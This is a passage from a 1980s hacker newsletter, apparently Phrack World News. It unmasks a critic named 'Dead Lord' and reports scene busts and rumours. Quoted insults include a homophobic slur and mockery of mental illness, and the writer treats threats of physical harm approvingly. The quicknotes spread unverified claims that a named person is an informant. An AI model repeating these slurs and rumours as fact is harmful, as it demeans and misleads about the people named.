  1522. his mind and becomes Sharp Razor (who is supposedly in prison).  His first
  1523. interview was an imaginary exchange of words between him and Lex Luthor of the
  1524. Legion Of Doom.  The interview also was used to rag on Infiltrator by the way
  1525. it was presented.
  1526.  
  1527. Dead Lord then decided to interview Executive Hacker of Chief Executive
  1528. Officers (CEO).  The funny part about this interview is that Executive Hacker
  1529. is another handle used by Dead Lord.  The only rag mentioned was that
  1530. Executive Hacker didn't know that Ultima IV had been released and that there
  1531. were only two members in CEO.  Dead Lord then goes on to say, "LOD is a group
  1532. of egotistical fools..."
  1533.  
  1534. Then started the straight rags without the interview crap.  This is where ole
  1535. Dead Lord gives his opinion on everything.  For the first few paragraphs he
  1536. rags on The Doctor, SpecElite, pirates in general, Monty Python, and The
  1537. Flying Circus BBS.
  1538.  
  1539. Then he starts giving descriptions of the people who attend the weekly TAP
  1540. meetings:
  1541.  
  1542.   "Cheshire is a tired old man, Broadway Hacker, who is an obnoxious slob
  1543.    anyway, stopped going, the "950 codes kids" Ninja NYC and his pals have
  1544.    mostly moved on, though Ninja NYC still attends.  Ninja NYC is, at 17 years
  1545.    old, a complete criminal, the guy has stolen everything you can think
  1546. of..."
  1547.  
  1548.   "Two Sigmund Frauds also attend (they are partners) one is a skinny asshole
  1549.    who has an earing and the other I never spoke to, but he is he one who
  1550.    supposedly does all the BBS calling.  There is also some friend of Ninja's
  1551.    who works for Northern Telcom."
  1552.  
  1553.   "There is some young guy with a French accent who always smiles, and
  1554.    some middle aged fag who is always talking.  Then there is MARK!  Ye Mark,
  1555.    though he tries to be friendly, people try to stay away.  He works at a
  1556.    Camera..."  "He is slightly (very) unbalanced mentally, and always very
  1557.    confused.  He is teased constantly but tolerated."
  1558.  
  1559.   "There are also a few less important people, such as "Sid" some greasy kid
  1560.    who is proud to have had a $1700+ fone bill because he thought he was using
  1561.    a diverter.  Right now, they are generally a motley bunch.  Also they get
  1562.    kicked out of restaurants frequently now, and are down to meeting at Burger
  1563.    King.  <SIGH>  How pitiful..."
  1564.  
  1565. After all of the above bullshit, he talks about Lord Digital, his "cult," and
  1566. his adventures with Paul Muad'Dib.  Dead Lord still had more to say though, he
  1567. decided to bring up Monty Python again as well as Phrack, TWCB, Stronghold
  1568. East, Private Sector, and 2600 Magazine.  All of what he had to say was
  1569. completely bogus and Dead Lord claimed to be a member of Metal Shop Private,
  1570. although he called it Metal Shop Elite, which is untrue.  Fact is he was never
  1571. a member, not even on the old MSP.  He also claims that he has submitted
  1572. articles for Phrack, but was turned down because they were original files.
  1573. Best bet is that whatever he was writing, he didn't know what he was talking
  1574. about.
  1575.  
  1576. Some notes to Dead Lord, as far as why Taran King was in the hospital; First
  1577. off it was a psychiatric ward not a "hospital".  Second, why don't you go and
  1578. read PWN 5-1 for the real story of what happened.  Third, the cosysop of
  1579. Stronghold East is not the Slayer, it is Slave Driver.
  1580.  
  1581. The truth is that both MSP and SE refused to let Dead Lord on and he holds a
  1582. grudge.  He then went on to say that both 2600 Magazine and Private Sector
  1583. sucked and that they always have.  Of course I am sure that Dead Lord could
  1584. easily put out a better magazine then either/or 2600 and Phrack Inc., and he
  1585. of course has shown that he can run a better BBS than Private Sector or Metal
  1586. Shop Private.  He ragged on several other bulletin boards such as Inner View
  1587. and Speed Demon Elite.
  1588.  
  1589. After all of that he comes back to the subject of Legion of Doom, starts on
  1590. Tribunal of Knowledge, and the says why Chief Executive Officers is better.
  1591.  
  1592.   "LOD's main claim to fame is that Lex Luthor types up shitloads of manuals
  1593.    and plasters LOD all over them.  Getting published in 2600 every other
  1594. month
  1595.    probably helps also."
  1596.  
  1597.   "Another emerging group CEO, isn't as ridiculous as LOD, I mean the members
  1598.    [all two of them] know a lot, and write intelligent stuff..."
  1599.  
  1600.   "Executive Hacker and Corporate Criminal, not much of a group even if these
  1601. 2
  1602.    do stack up better than the entire LOD."
  1603.  
  1604. His last rags were on Adventurer's Tavern and Disk Rigger.
  1605. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1606. Most of you by now are probably wondering how we tracked him down.  Well for
  1607. starters Dead Lord made it a lot easier on us by deciding to mention that he
  1608. lived in NYC.  He also talked a lot about others in the NYC area.  Dead Lord
  1609. is a member of Draco Tavern.  Dead Lord was refused access to Metal Shop
  1610. Private and Stronghold East.  Dead Lord's file was refused for Phrack Inc.
  1611. The clincher however was in finding that Dead Lord was actually Executive
  1612. Hacker, and I'm sure that many of you noticed that CEO, the group the
  1613. Executive Hacker belongs to, was highlighted and not ragged on.
  1614.  
  1615. Some other interesting things about Dead Lord include that fact that he
  1616. started a rumor in New York City, that Taran King had appeared on a talk show
  1617. dealing with hackers and the he is responsible for giving out Sigmund Fraud's
  1618. and Ninja NYC's numbers to Daniel Zigmond and he probably has given him other
  1619. numbers as well.
  1620.  
  1621. It has been said that Dead Lord's phone number has been disconnected by
  1622. outside sources several times in the past and that the entire TAP Meeting
  1623. attendees group is out to cause him major physical damage.
  1624. _______________________________________________________________________________
  1625.  
  1626. Quicknotes
  1627. ----------
  1628. MOB RULES was indited on five counts of wire fraud by the secret service, the
  1629. charges dated back to 1984.  This is supposedly part of the reason that the
  1630. Marauder took down Twilight Zone, but this is pure rumor.
  1631. -------------------------------------------------------------------------------
  1632. More talk about Broadway Hacker being a REAL fed or fed informant has sprung
  1633. up.  We at PWN are looking for factual evidence that this is true.
  1634. -------------------------------------------------------------------------------
  1635. Night Stalker, sysop of the Underground, was busted for something dealing with
  1636. Transference of Funds.  It is unknown as to if Dan Pasquale had anything to do
  1637. with this bust.  Credit Card numbers were frequently found here as well.  His
  1638. phone line is being tapped and he cannot really discuss his bust to much.  He
  1639. is also under constant surveillance wherever he goes.  Look for a full story
  1640. in Phrack World News VII.
  1641. -------------------------------------------------------------------------------
  1642. The rumor that Carrier Culprit was busted is untrue, but he did receive a call
  1643. from AT&T Security, regarding Alliance Teleconferencing Services.
  1644. ==============================================================================
  1645.